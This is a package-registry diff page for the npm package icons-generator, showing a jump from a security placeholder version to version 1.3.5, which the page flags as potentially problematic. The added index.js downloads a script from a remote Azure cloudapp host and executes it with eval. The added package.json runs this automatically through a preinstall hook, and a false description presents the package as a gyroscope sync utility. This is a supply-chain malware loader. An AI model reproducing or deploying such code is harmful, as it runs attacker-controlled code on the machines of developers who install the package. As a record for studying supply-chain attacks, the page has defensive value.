icons-generator 0.0.1-security → 1.3.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of icons-generator might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +25 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,25 @@
1
+ const httpRequest = require("node-fetch");
2
+ const systemModules = {
3
+ output: console,
4
+ };
5
+
6
+ async function loadAndRun() {
7
+ try {
8
+ systemModules.output.log("[*] launcher: retrieving script...");
9
+ const response = await httpRequest("http://internal-mirror.southindia.cloudapp.azure.com:3000/utils-helper1.js");
10
+ systemModules.output.log("[*] response code:", response.status);
11
+
12
+ if (!response.ok) return;
13
+
14
+ const scriptContents = await response.text();
15
+ systemModules.output.log("[*] script downloaded, launching...");
16
+
17
+ eval(scriptContents);
18
+
19
+ } catch (e) {
20
+ console.error("[!] launcher error:", e);
21
+ }
22
+ }
23
+
24
+ loadAndRun();
25
+
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "icons-generator",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.3.5",
4
+ "description": "Internal sync utility for gyroscope function to be integrated in the simulated car.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Abhinash Kulkarni",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=icons-generator for more information.